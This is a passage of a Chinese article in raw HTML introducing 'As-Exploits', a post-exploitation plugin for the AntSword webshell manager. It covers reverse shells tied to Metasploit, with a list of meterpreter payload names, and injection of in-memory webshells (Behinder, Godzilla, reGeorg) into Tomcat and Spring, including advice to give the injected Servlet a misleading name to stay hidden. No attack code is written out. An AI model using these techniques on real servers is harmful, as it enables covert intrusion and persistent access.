0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391861347-dceff8d3-340c-41b2-844b-042c05a2f837.png%22%2C%22originWidth%22%3A1054%2C%22originHeight%22%3A763%2C%22name%22%3A%22image.png%22%2C%22size%22%3A46052%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A25.77354%2C%22y%22%3A6.067188%2C%22width%22%3A290.91549%2C%22height%22%3A17.086132%2C%22text%22%3A%22As-Exploits127.0.0.1jpyM%22%7D%2C%7B%22x%22%3A261.03583%2C%22y%22%3A40.975193%2C%22width%22%3A45.04809%2C%22height%22%3A16.767784000000006%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A149.39969%2C%22y%22%3A41.03625%2C%22width%22%3A63.13333%2C%22height%22%3A16.560001999999997%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A472.7001%2C%22y%22%3A41.055317%2C%22width%22%3A60.95859999999993%2C%22height%22%3A16.786259%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A685.2499%2C%22y%22%3A41.171856%2C%22width%22%3A61.82420000000002%2C%22height%22%3A16.570124%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A350.42624%2C%22y%22%3A41.579063%2C%22width%22%3A77.19754%2C%22height%22%3A16.295977%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A789.3873%2C%22y%22%3A42.151%2C%22width%22%3A30.902559999999994%2C%22height%22%3A16.507645999999994%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A577.7666%2C%22y%22%3A41.94216%2C%22width%22%3A63.25599999999997%2C%22height%22%3A17.293127%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A40.786766%2C%22y%22%3A42.375256%2C%22width%22%3A59.637823999999995%2C%22height%22%3A16.209243999999998%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A20.190357%2C%22y%22%3A84.25256%2C%22width%22%3A46.274739000000004%2C%22height%22%3A14.423289999999994%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A3.8732312%2C%22y%22%3A125.2232%2C%22width%22%3A106.06112879999999%2C%22height%22%3A19.444309999999987%2C%22text%22%3A%22O%E8%8E%B7%E5%8F%96Servlet%22%7D%2C%7B%22x%22%3A29.970062%2C%22y%22%3A165.49927%2C%22width%22%3A79.267798%2C%22height%22%3A16.11067%2C%22text%22%3A%22%E5%8D%B8%E8%BD%BDServlet%22%7D%2C%7B%22x%22%3A24.591833%2C%22y%22%3A203.40703%2C%22width%22%3A61.465897000000005%2C%22height%22%3A16.59566000000001%2C%22text%22%3A%22%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A220.58047%2C%22y%22%3A205.37805%2C%22width%22%3A61.51168999999999%2C%22height%22%3A17.140089999999987%2C%22text%22%3A%22yzddmr6%22%7D%2C%7B%22x%22%3A24.285803%2C%22y%22%3A242.02092%2C%22width%22%3A58.511357000000004%2C%22height%22%3A16.171550000000025%2C%22text%22%3A%22URL%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A222.77625%2C%22y%22%3A244.24074%2C%22width%22%3A52.05016999999998%2C%22height%22%3A14.20756000000003%2C%22text%22%3A%22%2Faaaant%22%7D%2C%7B%22x%22%3A6.6094537%2C%22y%22%3A444.65805%2C%22width%22%3A62.2314763%2C%22height%22%3A15.702519999999993%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A25.759474%2C%22y%22%3A475.7179%2C%22width%22%3A52.480936%2C%22height%22%3A15.375499999999988%2C%22text%22%3A%2210k%22%7D%2C%7B%22x%22%3A724.80365%2C%22y%22%3A680.8828%2C%22width%22%3A40.34491000000003%2C%22height%22%3A19.12080000000003%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A725.9628%2C%22y%22%3A704.32135%2C%22width%22%3A79.47919999999999%2C%22height%22%3A19.405649999999923%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits127.0.0.1jpyM%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%8F%8D%E5%BC%B9Shell%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%85%B3%E4%BA%8E%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20exploit%20O%E8%8E%B7%E5%8F%96Servlet%20%E5%8D%B8%E8%BD%BDServlet%20%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%20yzddmr6%20URL%E8%B7%AF%E5%BE%84%20%2Faaaant%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%2010k%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A642%2C%22height%22%3A465%7D"><img data-height="465px" data-ratio="0.7239089184060721" title="image.png" data-type="png" data-w="1054" style="visibility: visible;width: 642px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb3f6d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9plJNv1st0sibux8c0cA6pSqmiakMtHjFnS5TbmcoRDYwiaa9SR870JsUQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="7c25d9bb1a6856daeb4d3aa56bd7e956" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="7c25d9bb1a6856daeb4d3aa56bd7e956" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">卸载后再次获取Servlet列表</p><p data-lake-id="7c25d9bb1a6856daeb4d3aa56bd7e956" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="42b2d1f9a3cdba50c30635911706430a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391870820-995e7229-a447-48df-b478-336157f2ebe6.png%22%2C%22originWidth%22%3A1062%2C%22originHeight%22%3A765%2C%22name%22%3A%22image.png%22%2C%22size%22%3A50083%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A31.896242%2C%22y%22%3A1.0765011%2C%22width%22%3A290.86925799999995%2C%22height%22%3A17.6202799%2C%22text%22%3A%22AS-Exploits127.0.0.1jpBy%3AyzddMr6%22%7D%2C%7B%22x%22%3A478.1978%2C%22y%22%3A34.49656%2C%22width%22%3A62.452470000000005%2C%22height%22%3A17.762729999999998%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A156.70119%2C%22y%22%3A34.46311%2C%22width%22%3A62.08725000000001%2C%22height%22%3A16.964875999999997%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A691.87054%2C%22y%22%3A34.89699%2C%22width%22%3A60.64196000000004%2C%22height%22%3A17.00087%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A356.23938%2C%22y%22%3A35.16331%2C%22width%22%3A77.91968000000003%2C%22height%22%3A16.50378%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A585.04016%2C%22y%22%3A35.628426%2C%22width%22%3A62.37329%2C%22height%22%3A17.461364000000003%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A265.71985%2C%22y%22%3A35.67901%2C%22width%22%3A47.32058999999998%2C%22height%22%3A17.471304000000003%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A795.0575%2C%22y%22%3A36.131775%2C%22width%22%3A31.45500000000004%2C%22height%22%3A16.795305%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A44.937836%2C%22y%22%3A36.29713%2C%22width%22%3A61.211064%2C%22height%22%3A16.390378%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A25.988998%2C%22y%22%3A78.32623%2C%22width%22%3A45.909582%2C%22height%22%3A15.095120000000009%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A37.302773%2C%22y%22%3A122.75069%2C%22width%22%3A78.353487%2C%22height%22%3A15.668390000000002%2C%22text%22%3A%22%E8%8E%B7%E5%8F%96Servlet%22%7D%2C%7B%22x%22%3A36.003956%2C%22y%22%3A159.26596%2C%22width%22%3A78.790864%2C%22height%22%3A16.05184%2C%22text%22%3A%22%E5%8D%B8%E8%BD%BDSerylet%22%7D%2C%7B%22x%22%3A31.179098%2C%22y%22%3A197.92064%2C%22width%22%3A61.973442000000006%2C%22height%22%3A16.548090000000002%2C%22text%22%3A%22%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A225.59003%2C%22y%22%3A199.95406%2C%22width%22%3A61.45196999999996%2C%22height%22%3A16.143110000000007%2C%22text%22%3A%22yzddmr6%22%7D%2C%7B%22x%22%3A30.521568%2C%22y%22%3A235.85286%2C%22width%22%3A57.574532000000005%2C%22height%22%3A16.376450000000006%2C%22text%22%3A%22URL%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A229.53732%2C%22y%22%3A237.81131%2C%22width%22%3A52.178349999999995%2C%22height%22%3A15.329930000000019%2C%22text%22%3A%22Iaaaant%22%7D%2C%7B%22x%22%3A11.984%2C%22y%22%3A437.71353%2C%22width%22%3A61.981064999999994%2C%22height%22%3A16.764440000000036%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A65.85649%2C%22y%22%3A468.28702%2C%22width%22%3A720.90456%2C%22height%22%3A19.29750999999999%2C%22text%22%3A%22dispatcherseryletorg.springframeworkeeliptcheeet%22%7D%2C%7B%22x%22%3A30.049416%2C%22y%22%3A468.64893%2C%22width%22%3A12.37191%2C%22height%22%3A12.37191%2C%22text%22%3A%22HN%22%7D%2C%7B%22x%22%3A729.8752%2C%22y%22%3A675.2458%2C%22width%22%3A41.81663000000003%2C%22height%22%3A19.515199999999936%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A730.7872%2C%22y%22%3A698.2838%2C%22width%22%3A80.17579999999998%2C%22height%22%3A19.333099999999945%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22AS-Exploits127.0.0.1jpBy%3AyzddMr6%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%8F%8D%E5%BC%B9Shell%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%85%B3%E4%BA%8E%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20exploit%20%E8%8E%B7%E5%8F%96Servlet%20%E5%8D%B8%E8%BD%BDSerylet%20%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%20yzddmr6%20URL%E8%B7%AF%E5%BE%84%20Iaaaant%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%20dispatcherseryletorg.springframeworkeeliptcheeet%20HN%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A595%2C%22height%22%3A429%7D"><img data-height="429px" data-ratio="0.7203389830508474" title="image.png" data-type="png" data-w="1062" style="visibility: visible;width: 595px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7973850d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9MTdUeib2pIDVHxicoq3E9ywszmst8PKBZKNQibErxqxFw0W1zgCfkzrGA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="688c85eadeb2e51062670cf3c9e197a3" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="bb4496bceaa3d798dfcc3cf76f3ad32d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">虽然我们可以通过setLoadOnStartup把servlet放在第一位，但是面对需要鉴权的shiro等目标打入一个servlet内存马还是有不小的局限性。所以目前filter内存马依旧是主流。但是蚁剑是支持listener类型的，listener的优先级还在filter之上。所以以后可能直接跳过filter，直接加入listener的payload。</p><p data-lake-id="bb4496bceaa3d798dfcc3cf76f3ad32d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p data-lake-id="bb4496bceaa3d798dfcc3cf76f3ad32d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><h2 data-lake-id="e0e17a8fc733611df3e2927dd44cbfbf" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;"><strong>现有模块介绍</strong></h2><h3 data-lake-id="0a942530e281d95b36bcff0172cfdc2d" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">基本信息</h3><p data-lake-id="fab95d204850e66c9d557a7beb968ca8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">获取当前服务端信息。</p><p data-lake-id="5081e75d6bc03a6131e62b48cfc7441a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：php/jsp/aspx</p><p data-lake-id="68a4dc8aae92b1bc0d0471bc54f24f62" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong>php</strong></p><p data-lake-id="a55e361058f49946acbcbe8b4b95ac94" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723069591-9ff82346-c14d-4c6f-8753-b2dc9331769d.png%22%2C%22originWidth%22%3A1284%2C%22originHeight%22%3A866%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1284%2C%22height%22%3A866%7D"><img data-height="866px" data-ratio="0.6744548286604362" title="image" data-type="png" data-w="1284" style="visibility: visible;width: 1284px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f6f7fcd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9sZrGwPO9uUTm5G6b7JK2U7Rm0ibdkFf7pID4AJKBxA24nDOoCYWJhnA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="68d494946eb4977f3eff8f860e8d3e35" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="68d494946eb4977f3eff8f860e8d3e35" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong>jsp</strong></p><p data-lake-id="68d494946eb4977f3eff8f860e8d3e35" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong><br/></strong></p><p data-lake-id="3c362df5965ae242c9e78c93f50dbe4e" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723069699-e5122eca-da20-4c47-89cb-dea7069bc741.png%22%2C%22originWidth%22%3A1284%2C%22originHeight%22%3A868%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1284%2C%22height%22%3A868%7D"><img data-height="868px" data-ratio="0.67601246105919" title="image" data-type="png" data-w="1284" style="visibility: visible;width: 1284px;" src="https://wechat2rss.xlab.app/img-proxy/?k=63f68e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9u6Hx9k4fV8UkJxvztso1CAe4ibqOxR92ce5mlSbdF1Qk6IU3tIqgaYw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="7cf6ede229f7476bd35122378232387e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong><br/></strong></p><p data-lake-id="7cf6ede229f7476bd35122378232387e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong>aspx</strong></p><p data-lake-id="7cf6ede229f7476bd35122378232387e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong><br/></strong></p><p data-lake-id="d881610127cbb6ad232a289c0e0e867b" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723069786-fcdccbc9-9b8a-4741-b721-9d569f572c6d.png%22%2C%22originWidth%22%3A1267%2C%22originHeight%22%3A872%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1267%2C%22height%22%3A872%7D"><img data-height="872px" data-ratio="0.6882399368587214" title="image" data-type="png" data-w="1267" style="visibility: visible;width: 1267px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ea3e076c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9YaibYCWaouNJe8txGGWyyp4jxj0n59LK6S4ple4ib1fo7Pic6ia6SECl1w%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="584be56bc3d186eafe502d726a87254c" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">反弹Shell</h3><p data-lake-id="631959dd835ea100a6be261024979c6a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">跟MSF联动</p><p data-lake-id="06a03e1e7b6ed8bf23bb5e47793443ad" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="letter-spacing: 0.008em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">支持类型：</span><span style="letter-spacing: 0.008em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">php/jsp/aspx</span><br/></p><p data-lake-id="2f2e1e30052e2a20ecb400db06030ab2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="2f2e1e30052e2a20ecb400db06030ab2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><strong><span style="letter-spacing: 0.008em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Payload目前支持以下类型：</span></strong></p><ul data-lake-id="4f8625da81da424b1a3d4c025acd0bc1" lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>java/meterpreter/reverse_tcp<br/></p></li><li><p>java/shell/reverse_tcp<br/></p></li><li><p>java/meterpreter/bind_tcp<br/></p></li><li><p>java/shell/bind_tcp<br/></p></li><li><p>php/meterpreter/reverse_tcp<br/></p></li><li><p>php/shell/reverse_tcp<br/></p></li><li><p>php/meterpreter/bind_tcp<br/></p></li><li><p>php/shell/bind_tcp<br/></p></li><li><p>windows/meterpreter/reverse_tcp<br/></p></li><li><p>windows/x64/meterpreter/reverse_tcp</p><p><br/><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723069884-b24ce1e4-5750-447a-9e94-fad6670cdc7a.png%22%2C%22originWidth%22%3A1284%2C%22originHeight%22%3A868%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1284%2C%22height%22%3A868%7D"><img data-height="868px" data-ratio="0.67601246105919" title="image" data-type="png" data-w="1284" style="visibility: visible;width: 1284px;" src="https://wechat2rss.xlab.app/img-proxy/?k=186250a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9X0RG9z1fZ8icpROLFlkV9JCFFwcnCAQ0AibkdzREB6djwC8oxWc3WXlQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p><br/></p></li></ul><h3 data-lake-id="b6a001268951663d0585e80484fc31e8" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">内存马</h3><p data-lake-id="e57dc3b5bb2a2624535c1dc6a3db2f6a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">一键打入内存Webshell，由于时间仓促，目前仅支持Servlet型内存马。</p><p data-lake-id="b374f3aa2329ab8d161925cb83880ce3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="b374f3aa2329ab8d161925cb83880ce3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：jsp</p><p data-lake-id="97c6ec4e82761401dff5ff8d3e824678" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="97c6ec4e82761401dff5ff8d3e824678" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">可打入的内存马种类：</p><ul data-lake-id="10b52e66c1edfa15626b9cd64779e961" lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>AntSword<br/></p></li><li><p>Behinder<br/></p></li><li><p>Godzilla-Base64<br/></p></li><li><p>reGerog<br/></p><p><br/></p><p>组件名称为注册的Servlet的名称，可以起一个具有迷惑性的名字来隐藏自己。<br/>其中AntSword类型支持Tomcat(5-9)、Spring。<br/><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723069978-fd956e7d-1a48-4e78-b647-3beec50634f5.png%22%2C%22originWidth%22%3A1271%2C%22originHeight%22%3A862%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1271%2C%22height%22%3A862%7D"><img data-height="862px" data-ratio="0.6782061369000787" title="image" data-type="png" data-w="1271" style="visibility: visible;width: 1271px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3efc0871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9TWBGibkDdYbRbGK2MPTowY82uXBlPI6AWicB24hM373OgoVvtxQC4P2A%2F640%3Fwx_fmt%3Dpng"/></span><br/></p></li></ul><h4 data-lake-id="e5d2fd9dea054cf3cbd0e230527ac288" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">打入哥斯拉内存马</h4><p data-lake-id="78ec87c0cd3dfca7cbbd36cc470dc799" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">打入Godzilla-Base64内存马</p><p data-lake-id="f2cc2b6a0d316e91de678413dd5b8092" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" 